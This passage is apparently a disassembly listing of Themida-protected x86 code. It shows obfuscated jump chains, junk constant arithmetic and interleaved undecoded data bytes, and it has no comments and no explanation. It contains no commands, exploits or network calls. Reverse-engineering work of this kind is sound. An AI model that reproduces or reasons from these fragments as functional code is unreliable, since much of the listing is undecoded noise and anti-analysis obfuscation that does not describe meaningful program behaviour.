		mov	ecx, esi
		pop	esi
		sub	edi, 0C7577F0h
		jmp	loc_564717
; ---------------------------------------------------------------------------
		dd 4302E3C1h, 0FF1A5DE9h, 5A7CBDFFh, 0B805427Eh, 0E9694D49h
		dd 0FFFFB5CBh, 80D6F680h, 2EE90DEBh
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55F413:				; CODE XREF: Themida_:00564C5Fj
		add	esp, 4
		jmp	loc_559562
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 24740100h, 815D5E04h, 4C5h, 4EC8100h, 0E9000000h
		dd 3343h, 0E289525Ch, 4C281h, 44680000h, 8900001Ch, 4B9240Ch
		dd 81000000h, 193AFEC2h, 58B5E97Dh, 9C500000h, 0FF03B5E9h
		dd 658BBEFFh, 0F72152FDh, 0CF7815Eh, 2D026065h,	7E82841h
		dd 0E952F801h, 0FFFF1817h, 0FD394BBBh, 0C2C68129h, 0E9643B11h
		dd 0FFFF9B65h, 8124048Bh, 4C4h,	0C742E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F49A:				; CODE XREF: Themida_:0055A168j
		sub	ebp, 4
		jmp	loc_55B84B
; ---------------------------------------------------------------------------


loc_55F4A5:				; CODE XREF: Themida_:00551542j
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_555693
; ---------------------------------------------------------------------------
		dd 8BC1295Eh, 96E92404h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F4BB:				; CODE XREF: Themida_:00554741j
		xchg	ebp, [esp]
		jmp	loc_5610B1
; ---------------------------------------------------------------------------
		db 83h
		dd 505604C4h, 6835F868h, 24048B67h, 4C481h, 3EE90000h
		dd 0C1FFFF4Dh, 0BB5306E0h, 642C0F7Ch, 0C383DBF7h, 0BF574B01h
		dd 21F476DFh, 91B6E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F4F6:				; CODE XREF: Themida_:00552F48j
		pop	esp
		jmp	loc_5593CC
; ---------------------------------------------------------------------------
		dd 0E4B68h, 24048900h, 59B85053h, 0E943AD6Eh, 0FFFF1D66h
; ---------------------------------------------------------------------------


loc_55F510:				; CODE XREF: Themida_:00552B09j
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	esi
		jmp	loc_55DEAD
; ---------------------------------------------------------------------------
		dd 8904EC83h, 4BF243Ch,	81000000h, 40980E9h, 0E9F90132h
		dd 0FFFF14B7h
; ---------------------------------------------------------------------------


loc_55F53C:				; CODE XREF: Themida_:005593AAj
		mov	eax, 62754770h
		shl	eax, 2
		push	edi
		mov	edi, 668841E4h
		shl	edi, 2
		add	edi, 174D7543h
		push	ebp
		jmp	loc_55602A
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0E8h
		dd 0E92B4266h, 0FFFFE69Bh, 0D0885051h, 88C68852h, 34FF5AF1h
		dd 46685824h, 0E9000057h, 0FFFF6FA8h, 19CABB53h, 0E3C137C6h
		dd 0FE66E905h, 8B54FFFFh, 77E9242Ch
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55F593:				; CODE XREF: Themida_:00552AE6j
		pop	ecx
		add	ecx, 4
		push	1A8Bh
		mov	[esp], edi
		push	ecx
		mov	ecx, 3F5F5A7Ah
		mov	edi, 39CC44B5h
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	7521h
		mov	[esp], edx
		mov	edx, 40620544h
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 362739EFh
		jmp	loc_554633
; ---------------------------------------------------------------------------
		db 89h
		dd 0E2892414h, 0FF3FCBE9h, 555D5EFFh, 2BDh, 5DEF0100h
		dd 5C243C87h, 0E9028864h, 0FFFF5082h, 5FE9D4B2h, 59FFFF58h
		dd 2510BB53h, 0B8500E89h, 1E111858h, 4049E625h,	0D3F7930Dh
		dd 3BE4E993h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F61E:				; CODE XREF: Themida_:0055C266j
		add	ebx, edx
		pop	edx
		add	ebx, edi
		push	esi
		jmp	loc_563045
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 0D2h
		dd 0E96EE43Dh, 0FFFF085Dh, 31242C33h, 0FAE9242Ch, 83FFFF3Fh
		dd 0C18304C4h, 240C8704h, 5624248Bh, 0FF45EFE9h, 57E981FFh
		dd 833E9F3Eh, 0D9F701E9h, 0A1E5E941h, 487FFFFh,	0E623E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F66A:				; CODE XREF: Themida_:00562A8Bj
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_55623C
; ---------------------------------------------------------------------------


loc_55F678:				; CODE XREF: Themida_:00562143j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0D855FB2Fh
		xor	esi, ecx
		pop	ecx
		jmp	loc_562895
; ---------------------------------------------------------------------------
		db 0B8h
		dd 3A875416h, 0C105E8C1h, 0C30502E0h, 21723390h, 0A9E958C1h
		db 27h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F6A3:				; CODE XREF: Themida_:005538FCj
		add	ecx, 31C82BC5h
		add	ecx, edi
		jmp	loc_55E187
; ---------------------------------------------------------------------------


loc_55F6B0:				; CODE XREF: Themida_:0055571Bj
		or	eax, 1C9566AAh
		push	ebx
		jmp	loc_55653F
; ---------------------------------------------------------------------------
		db 1
		dd 49DFE9EEh, 0FB89FFFFh, 0DCC3815Fh, 291B30B4h, 0E2A4E9DDh
		dd 0B135FFFFh, 0E92AE6EFh, 250Bh, 2414F766h, 0A2685B66h
		dd 0E9000003h, 0FFFF29BAh
; ---------------------------------------------------------------------------


loc_55F6EC:				; CODE XREF: Themida_:00552B36j
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_555F8A
; ---------------------------------------------------------------------------


loc_55F6F7:				; CODE XREF: Themida_:00558FD2j
		jz	loc_55CD62
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	1Ch
		pop	edx
		sub	edx, 7AA66F83h
		jmp	loc_55805C
; ---------------------------------------------------------------------------


loc_55F723:				; CODE XREF: Themida_:0055CDBFj
		xchg	esi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		jmp	loc_55C22E
; ---------------------------------------------------------------------------
		dw 95Ch
		dd 0EB815FFBh, 7A252B73h, 5202EBC1h, 472EB850h,	48BA44A3h
		dd 298CC3FFh, 0D33158C2h, 1D47E95Ah, 2C31FFFFh,	242C3324h
		dd 0E924248Bh, 0FFFF00B2h
; ---------------------------------------------------------------------------


loc_55F764:				; CODE XREF: Themida_:0055BDF8j
		add	ecx, 0FFFFFFFFh
		not	ecx
		push	esi
		mov	esi, 273407D4h
		add	ecx, esi
		pop	esi
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_55ACD9
; ---------------------------------------------------------------------------


loc_55F788:				; CODE XREF: Themida_:005642F2j
		push	680Bh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55BEB0
; ---------------------------------------------------------------------------
		db 53h
		dd 4F55FCBBh, 0FCB8134h, 4352C833h, 1DE7F381h, 0C38374A3h
		dd 0C9F381FFh, 293ECE4Dh, 0D5F75BDDh, 0EAA2ED81h, 0C681E455h
		dd 19742E5Dh, 0EE81EE29h, 19742E5Dh, 74FF565Dh,	0D0E90424h
		dd 81000046h, 3D04246Ch, 5B03D47Ch, 4C6815Eh, 81000000h
		dd 4ECh, 241C8900h, 330147BBh, 3EBC129h, 5DD9E943h, 0E957FFFFh
		dd 0FFFF5F7Bh, 0E904C483h, 0FFFF37D8h, 405h, 40500h, 0FF500000h
		dd 0E9042474h, 3CDFh, 0E1C0A3B1h, 83E98007h, 8059CE30h
		dd 0EE807ACEh, 0FFEE8001h, 0FFFBC3E9h, 9AF581FFh, 0E96C2526h
		dd 33F7h, 33241431h, 0E95C2414h, 0FFFEFFBAh
; ---------------------------------------------------------------------------


loc_55F85C:				; CODE XREF: Themida_:0055C136j
		pop	eax
		add	esp, 4
		jmp	loc_55CD62
; ---------------------------------------------------------------------------


loc_55F865:				; CODE XREF: Themida_:0055602Fj
		xor	edi, ebp
		jmp	loc_553D5D
; ---------------------------------------------------------------------------


loc_55F86C:				; CODE XREF: Themida_:00550956j
		mov	ecx, 4FF93C6Dh
		xor	ecx, 4FF93C69h
		add	esi, ecx
		pop	ecx
		push	ebx
		jmp	loc_55CDB7
; ---------------------------------------------------------------------------
		dd 6552CCBBh, 6E3C12Bh,	0B304F381h, 82E9D954h, 66FFFF79h
		dd 9C241CF7h, 0FEFF79E9h, 4EC81FFh, 89000000h, 74FF2434h
		dd 8F5E0424h, 248B2404h, 47A1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F8B6:				; CODE XREF: Themida_:0056010Ej
		add	edi, esi
		jmp	loc_55CAEC
; ---------------------------------------------------------------------------
		db 5Bh,	0F7h, 0D5h
		dd 1668CD81h, 0C58131B9h, 0A9498163h, 2C8BEE29h, 4C48324h
		dd 0FF538FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F8D9:				; CODE XREF: Themida_:0055B62Fj
		add	ebx, esi
		jmp	loc_564400
; ---------------------------------------------------------------------------


loc_55F8E0:				; CODE XREF: Themida_:0055A5C1j
		mov	ecx, edx
		pop	edx
		jmp	loc_561DA2
; ---------------------------------------------------------------------------
		dd 2BF575Eh, 318BF2CAh,	0CAF1E9F8h, 0F668FFFFh,	89000060h
		dd 15E9241Ch, 87FFFFD9h, 95C2404h, 48B1C47h, 2D7E6824h
		dd 14890000h, 81E28924h, 4C2h, 4B5BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F922:				; CODE XREF: Themida_:0055785Dj
		mov	ecx, [esp]
		add	esp, 4
		or	esi, 147C390Ch
		inc	esi
		shl	esi, 7
		add	esi, 377A4B45h
		and	eax, esi
		pop	esi
		xor	eax, 7EDF0937h
		shr	eax, 8
		shl	eax, 1
		push	edi
		jmp	loc_563BD7
; ---------------------------------------------------------------------------
		db 89h
		dd 0E6892434h, 8904EC83h, 0BA52240Ch, 73206DA3h, 0DA14B850h
		dd 0CAE9A502h, 83000015h, 2C8704C5h, 0BD555C24h, 12974D10h
		dd 0FF7FFCE9h, 3E3C1FFh, 0D1BF57h, 0CF812C64h, 1EEB71B2h
		dd 0C329C781h, 0FB0138FAh, 48C3815Fh, 0E9982BF5h, 229Dh
; ---------------------------------------------------------------------------


loc_55F99C:				; CODE XREF: Themida_:00563EFBj
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_560BCF
; ---------------------------------------------------------------------------
		dd 0A692E95Fh, 48FFFFFh, 24248B24h, 0E9241489h,	0FFFF4E90h
; ---------------------------------------------------------------------------


loc_55F9BC:				; CODE XREF: Themida_:00551007j
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	4
		pop	ebx
		sub	ebp, 3098730Ch
		sub	ebp, 63D66B4h
		sub	ebp, 1840381Fh
		add	ebp, ebx
		add	ebp, 1840381Fh
		add	ebp, 63D66B4h
		add	ebp, 3098730Ch
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 0AE43D6Ch
		sub	edi, 0AE43D68h
		jmp	loc_55D197
; ---------------------------------------------------------------------------
		db 89h
		dd 0D6F75FFEh, 560DF681h, 0F68124DAh, 59DB6C99h, 15EBC381h
		dd 0C38142FFh, 512F0239h, 0CD5EB81h, 68573642h,	16B53DDAh
		dd 4C31E95Fh, 0FA29FFFFh, 5AD7895Fh, 80A22BBEh,	8BFE0118h
		dd 0C483243Ch, 574E4604h, 0E4FE9BFh, 83E9515Eh
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FA7F:				; CODE XREF: Themida_:005584F2j
		pop	edx
		neg	edi
		and	edi, 0A196C66h
		push	ebx
		mov	ebx, 24172A48h
		and	edi, ebx
		pop	ebx
		sub	edi, 0EC9375C3h
		add	eax, edi
		pop	edi
		xor	esi, eax
		pop	eax
		add	esi, 0B7444B35h
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_553B22
		push	dword ptr [edi+1Ch]
		push	3750h
		mov	[esp], edi
		push	esp
		pop	edi
		push	edx
		mov	edx, 44827A9Ah
		jmp	loc_55219B
; ---------------------------------------------------------------------------
		dw 0E02Dh
		dd 29328ABCh, 815F58C3h, 4ECh, 240C8900h, 4B9h,	59CB2900h
		dd 31241C33h, 1C33241Ch, 0D546E924h, 5ADFFFFh, 1A9C6AF0h
		dd 0BC68D829h, 89000042h, 0E952240Ch, 0FFFF58BBh, 2807C380h
		dd 24048BE3h, 4C481h, 0EC830000h, 4896602h, 84B35324h
		dd 0C0CDC380h, 0E3C005EBh, 80D3F608h, 0F5E93FF3h, 9FFFF2Dh
		dd 0F58159CDh, 99DC055Eh, 48E9E989h, 89FFFFF5h,	74FF2404h
		dd 8F580424h, 248B2404h, 7E10E924h, 481FFFFh, 424h, 24148B00h
		dd 4C481h, 0EC810000h, 4, 0E9243C89h, 0FFFFA452h, 12D7B951h
		dd 0E1C110DFh, 49D1F708h, 3C3FE9h, 5DEB8900h, 1C8BDD29h
		dd 4C48324h, 31242C33h,	15E9242Ch, 1FFFF3Bh, 0D3682404h
		dd 8900005Ah, 0BF57240Ch, 20C60307h, 0C014F2B9h, 5FF9294Ah
		dd 40F18141h, 0E91AC814h, 0FFFFA096h, 703D09BFh, 5FFE296Eh
		dd 814EEED1h, 903836F6h, 0A1EE814Ch, 31CA354Eh,	0D3015EF2h
		dd 8124148Bh, 4C4h, 2BE5600h, 1000000h,	24348BF3h, 4C481h
		dd 1C330000h, 3DD3E924h, 34890000h, 7082BE24h, 0C6811782h
		dd 1B497B4Dh, 0FFEE29E9h, 88E950FFh, 0FE000040h, 0E9D1F6C1h
		dd 0FFFF26A8h
; ---------------------------------------------------------------------------


loc_55FC1C:				; CODE XREF: Themida_:0055F26Ej
		pop	edi
		add	esp, 4
		add	[esp+4], edx
		jmp	loc_55EF0A
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 27h
		dd 8173E11Ch, 7F4779EFh, 86FE96Ch, 0E9580000h, 0FFFFA1A8h
		dd 0F5AE681h, 0EEC1321Bh, 0BD554602h, 1955135Ch, 33DBE94Dh
		dd 0F988FFFFh, 1CC6685Bh, 0CDE90000h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FC63:				; CODE XREF: Themida_:00555A31j
		xchg	edi, [esp]
		jmp	loc_5521F9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78300h, 754768h, 243C8900h, 42474FFh, 24048F5Fh
		dd 5124248Bh, 0E9809FB1h, 8BCB2835h, 0C481240Ch, 4, 28DBEB80h
		dd 0DBC380C3h, 806AC380h, 0B60F48EBh, 8734FFC0h, 0E924048Bh
		dd 0FFFF74B3h, 81E28952h, 4C2h,	4C28100h, 87000000h, 815C2414h
		dd 4C2h, 9FEFE900h, 0D0F7FFFFh,	0FF6FDAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FCD9:				; CODE XREF: Themida_:00552561j
		add	ecx, 65E85DB7h
		xor	ecx, 221729D7h
		not	ecx
		not	ecx
		push	eax
		mov	eax, 42F81F51h
		jmp	loc_553BA4
; ---------------------------------------------------------------------------
		dd 240C895Ch, 0FEFB19E9h, 8BE931FFh, 8AE9242Ch,	0BDFFFF15h
		dd 2EE94B02h, 413BE9h, 0FCE95300h, 81FFFFD8h, 4C7h, 92E95600h
		dd 5B00000Ah, 5A66D300h, 2841EB80h, 41C380C3h, 5515EB80h
		dd 0FFD950E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FD39:				; CODE XREF: Themida_:005512DCj
		sub	eax, edx
		push	edi
		jmp	loc_556CDA
; ---------------------------------------------------------------------------
		db 28h,	0F3h, 0E9h
		dd 46C1h, 81DEF746h, 2C77F4EEh,	31C9E950h, 0CABEFFFFh
		dd 2901066Bh, 0E8015EF0h, 23FEE9h, 14896600h, 9C506624h
		dd 0FEFAA5E9h, 0B7C280FFh, 0FFAC41E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FD79:				; CODE XREF: Themida_:0055710Ej
		mov	eax, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_552F45
; ---------------------------------------------------------------------------


loc_55FD8D:				; CODE XREF: Themida_:00563172j
		push	eax
		mov	eax, 4
		sub	ebp, 36994D52h
		add	ebp, eax
		add	ebp, 36994D52h
		jmp	loc_562C88
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 5966E828h,	0C800D704h, 0FE73B353h,	0E9CBFEC3h
		dd 0FFFF23FCh, 192678BBh, 55F3811Ch, 310F7A17h,	241C8BDFh
		dd 8104C483h, 727C97E7h, 9CF2E969h, 0DD01FFFFh,	232DE9h
		dd 59E82800h, 20C768h, 24148900h, 0D03050B2h, 5A2434FFh
		dd 81E18951h, 4C1h, 392AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FE06:				; CODE XREF: Themida_:0055C435j
		dec	ecx
		jmp	loc_55E547
; ---------------------------------------------------------------------------
		dd 0E945D5F7h, 0FFFF8BC6h, 5C241487h, 0FF26CFE9h, 5EF529FFh
		dd 0FFB86CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FE25:				; CODE XREF: Themida_:00554732j
		add	esp, 4
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5579A7
; ---------------------------------------------------------------------------
		dd 4EC815Ch, 89000000h,	0A0BA2414h, 51175363h, 6A16CBB9h
		dd 8F04E944h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FE56:				; CODE XREF: Themida_:00561B52j
		sub	ebp, 75D87CC2h
		push	eax
		mov	eax, 0
		sub	eax, 10A20F05h
		sub	eax, ebp
		add	eax, 10A20F05h
		push	eax
		sub	dword ptr [esp], 3900354Fh
		pop	ebp
		push	eax
		jmp	loc_5542BC
; ---------------------------------------------------------------------------
		db 5Eh,	50h, 89h
		dd 405E0h, 0A2E90000h, 0BFFFFFEDh, 4, 0E95FF901h, 240Bh
; ---------------------------------------------------------------------------


loc_55FE98:				; CODE XREF: Themida_:0055999Dj
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 23A96CFEh
		push	6843h
		mov	[esp], ebp
		jmp	loc_55B46A
; ---------------------------------------------------------------------------
		dw 0FE28h
		dd 0C0BDB551h, 0C5FE04EDh, 0FF83A6E9h, 1C781FFh, 81000000h
		dd 52B573F7h, 5FFB89BBh, 0E95BDA01h, 0FFFF8297h
; ---------------------------------------------------------------------------


loc_55FED4:				; CODE XREF: Themida_:00559AE1j
		or	ebx, 1D9C6003h
		add	ebx, 0D648354Fh
		jmp	loc_553C4E
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0D5h
		dd 0E936420Ch, 0FFFF515Eh
; ---------------------------------------------------------------------------


loc_55FEF0:				; CODE XREF: Themida_:0055377Dj
		mov	[esp], edi
		jmp	loc_555AD1
; ---------------------------------------------------------------------------
		dd 5324048Fh, 4BBh, 245C0100h, 3039E904h, 0C4830000h, 39EFE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FF12:				; CODE XREF: Themida_:0055B020j
		shl	esi, 5
		xor	esi, 3DE012E0h
		sub	ecx, esi
		jmp	loc_5632C9
; ---------------------------------------------------------------------------


loc_55FF22:				; CODE XREF: Themida_:0054F8F8j
		div	ecx
		push	25ADh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_562AFB
; ---------------------------------------------------------------------------


loc_55FF33:				; CODE XREF: Themida_:00556FB0j
		not	ecx
		xor	ecx, 546E45E8h
		sub	ecx, 0A6B38281h
		add	ebx, ecx
		pop	ecx
		add	ebx, esi
		push	edi
		jmp	loc_563FAC
; ---------------------------------------------------------------------------
		dd 0E95BD829h, 0FFFF23B7h, 0A42CD000h, 147668h,	1615E900h
		dd 0C3010000h, 8124048Bh, 4C4h,	50535100h, 0B50EBB68h
		dd 1BE95842h, 8BFFFF61h, 9E9240Ch, 0F7FFFF95h, 38E981D9h
		dd 8714D955h, 87D2F7D1h, 5FBD55D1h, 290A8102h, 242C8BE9h
		dd 4C481h, 59E90000h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FFA7:				; CODE XREF: Themida_:0055654Fj
		pop	ebx
		or	eax, 3DBF2199h
		add	eax, 0C0000005h
		push	ecx
		mov	ecx, 40AD3004h
		jmp	loc_557D52
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 13685366h, 0E9000001h, 0FFFF078Ah, 668BE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FFD2:				; CODE XREF: Themida_:00562811j
		neg	edi
		jmp	loc_554DF6
; ---------------------------------------------------------------------------


loc_55FFD9:				; CODE XREF: Themida_:005627DDj
		push	1A91h
		mov	[esp], ecx
		jmp	loc_55D500
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0EAC14204h, 0C792E907h, 0E868FFFFh, 89000061h, 0E6892434h
		dd 0FFA984E9h, 6DE92DFFh, 0BE2D195Dh, 0E957675Bh, 0FFFFE132h
; ---------------------------------------------------------------------------


loc_560010:				; CODE XREF: Themida_:005613B2j
		mov	edx, 4
		jmp	loc_55DD4A
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 74AE904h, 0C6810000h, 1DA1628Dh, 98E9F089h, 83FFFFE6h
		dd 505204C4h, 0FFB27FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560039:				; CODE XREF: Themida_:00557C96j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	4737h
		mov	[esp], esi
		jmp	loc_562C74
; ---------------------------------------------------------------------------
		dd 5C240C33h, 68241C89h, 6598h,	0E9243C89h, 0FFFF4172h
		dd 29D468h, 24048900h, 0F23675B8h, 43013538h, 5CE932F3h
		dd 0BAFFFFF4h, 51734826h, 280CE942h, 0E959FFFFh, 0FFFF156Eh
		dd 0F381434Bh, 4462683Fh, 0FFFEAFE9h, 5E04BBFFh, 62E96A6Ch
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5600A7:				; CODE XREF: Themida_:00563C89j
		pop	esi
		sub	edx, 4
		jmp	loc_555A36
; ---------------------------------------------------------------------------
		db 31h
		dd 24348BF1h, 5204C483h, 8A0982BAh, 0A0E9550Eh,	5FFFFD5h
		dd 578C16EBh, 60A868h, 242C8900h, 0FFCC5EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5600D9:				; CODE XREF: Themida_:00553B37j
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5581C6
; ---------------------------------------------------------------------------


loc_5600F4:				; CODE XREF: Themida_:0056202Dj
		add	edi, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	edi, 64C271EEh
		jmp	loc_55F8B6
; ---------------------------------------------------------------------------
aFqEFyh1	db 'fQE(fYh1{',0
		align 2
		dw 0C89h
		dd 1957E924h, 0CA87FFFFh, 0E9CA8749h, 0FFFF237Ah, 88E9E389h
		dd 8B000030h, 89532414h, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 0E924248Bh, 0FFFF6C8Ch
; ---------------------------------------------------------------------------


loc_560158:				; CODE XREF: Themida_:0055597Bj
		sub	esp, 4
		jmp	loc_55D5AA
; ---------------------------------------------------------------------------
		db 53h
		dd 42474FFh, 24048F5Bh,	432EE95Ch, 3C87FFFFh, 24895C24h
		dd 0F4B95124h, 522AB618h, 6F1BDCBAh, 6134E91Ah,	0E3C1FFFFh
		dd 6EBC105h, 51FFC383h,	0FFCD6EE9h, 4C481FFh, 68000000h
		dd 36B6h, 0FFC759E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5601A9:				; CODE XREF: Themida_:0055E428j
		sub	eax, 39D9723Eh
		push	edi
		mov	edi, 653B2406h
		inc	edi
		dec	edi
		neg	edi
		xor	edi, 4E107EDDh
		xor	eax, edi
		pop	edi
		add	[esp+4], eax
		pop	eax
		pop	edx
		push	49E6h
		jmp	loc_55F0B5
; ---------------------------------------------------------------------------
		db 0B8h, 0D1h, 44h
		dd 0EDE92AECh
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5601DB:				; CODE XREF: Themida_:0055A3ECj
		push	ebx
		pop	esi
		pop	ebx
		jmp	loc_5636F3
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFFD79E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5601E9:				; CODE XREF: Themida_:00559751j
		and	ebx, 65F53518h
		shl	ebx, 4
		or	ebx, 399D41DFh
		jmp	loc_56117D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0CE36824h, 2C890000h, 56E58924h, 35FD68h, 24148900h
		dd 3442BE56h, 0EABA2557h, 1066F16h, 0F7925EF2h,	9BE992D0h
		dd 0BA00000Dh, 0E973AB6h, 0FFA9C8E9h, 241C8BFFh, 2BFFE952h
		dd 0C1810000h, 275F2D7Fh, 0FFAA08E9h, 4E981FFh,	87000000h
		dd 895C240Ch, 0BE56240Ch, 1E17763Eh, 364E68h, 24348900h
		dd 0E3242C81h, 5907FE7Fh, 7FE3C181h, 61E907FEh,	0C100002Dh
		dd 4BE903E6h, 89FFFF78h, 4812424h, 424h, 0E4685E00h, 8900001Ah
		dd 4682404h, 58000000h,	5358C601h, 2BBh, 0FFDE0100h, 505B2434h
		dd 0BB53E089h, 4, 0FF9B6DE9h, 240C89FFh, 0FFEE34E9h, 0B85052FFh
		dd 4E66E1Dh, 3439E9h, 4BF5700h,	1000000h, 42B9E9FEh, 0C1810000h
		dd 41DE3D12h, 0FFAF0DE9h, 243C89FFh, 0C781E789h, 4, 4EF81h
		dd 3E90000h, 33000021h,	34312434h, 24343324h, 0FFA2CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560305:				; CODE XREF: Themida_:0055C8FDj
		push	eax
		push	edx
		mov	edx, 74D14812h
		jmp	loc_55254B
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 57h
		dd 0E9A4B823h, 0FFFF65D4h
; ---------------------------------------------------------------------------


loc_56031C:				; CODE XREF: Themida_:0055273Dj
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5569FD
; ---------------------------------------------------------------------------
		db 5Eh,	55h, 0BDh
		dd 2, 38D7C781h, 0EF01760Ch, 0FFA0B7E9h, 0B7E981FFh, 0E9A65DAAh
		dd 0FFFF2BBFh, 81241C8Bh, 4C4h,	8688E900h, 0ABE9FFFFh
		dd 52FFFEF4h, 0E06844BAh, 0C0C28163h, 819C1F97h, 3B06B8C6h
		dd 81D6015Ch, 3B06B8EEh, 35B1E95Ch, 0EA81FFFFh,	5290B8Ch
		dd 0C0EA815Dh, 5D40A925h, 5F2434FFh, 4C481h, 24680000h
		dd 89000035h, 4B9240Ch,	81000000h, 0A307B9C2h, 81CA0146h
		dd 0A307B9EAh, 6DE1E946h, 4DB0FFFFh, 0C6309BB6h, 8124048Bh
		dd 4C4h, 12E68000h, 0FFDE2DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5603D9:				; CODE XREF: Themida_:0055EBBDj
		pop	dword ptr [esp]
		jmp	loc_55BF23
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 50h
		dd 0C12D7054h, 0F38107E3h, 0B87474E1h, 0E95BDA09h, 0FFFF953Dh
		dd 122AE941h, 0C529FFFFh, 1661ED81h, 0ED8156CAh, 5B1796Ch
		dd 8324048Bh, 0D50104C4h, 0FFBCCCE9h, 0ACE950FFh, 21FFFF58h
		dd 0BD555DEEh, 25690303h, 815DEE09h, 3F6EC5F6h,	55B8506Ah
		dd 3563FB03h, 59303295h, 0F8A8E948h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_560442:				; CODE XREF: Themida_:005534F0j
		add	esp, 4
		jmp	loc_55419A
; ---------------------------------------------------------------------------
aFy		db '(fY',0
		dw 58E6h
		dd 0FFFA55E9h, 71F7BDFFh, 81450EB1h, 4ECh, 241C8900h, 7C1817BBh
		dd 5BDD3140h, 1DE9h, 5EEC100h, 0C4DBA52h, 0A6E90EE6h
		db 5, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_560483:				; CODE XREF: Themida_:00561C4Ej
		add	esp, 4
		add	edi, 63628962h
		push	edi
		jmp	loc_5533CD
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 16031FF0h, 4F2FC681h, 0C8E90EA4h, 0AD000048h, 0B0CE9h
		dd 0F7EF8100h, 51331D29h, 0C62E34B9h, 4CE98157h, 0C101F86Ch
		dd 0E9C104E9h, 19CE906h, 0C381FFFFh, 4,	8704EB83h, 0E95C241Ch
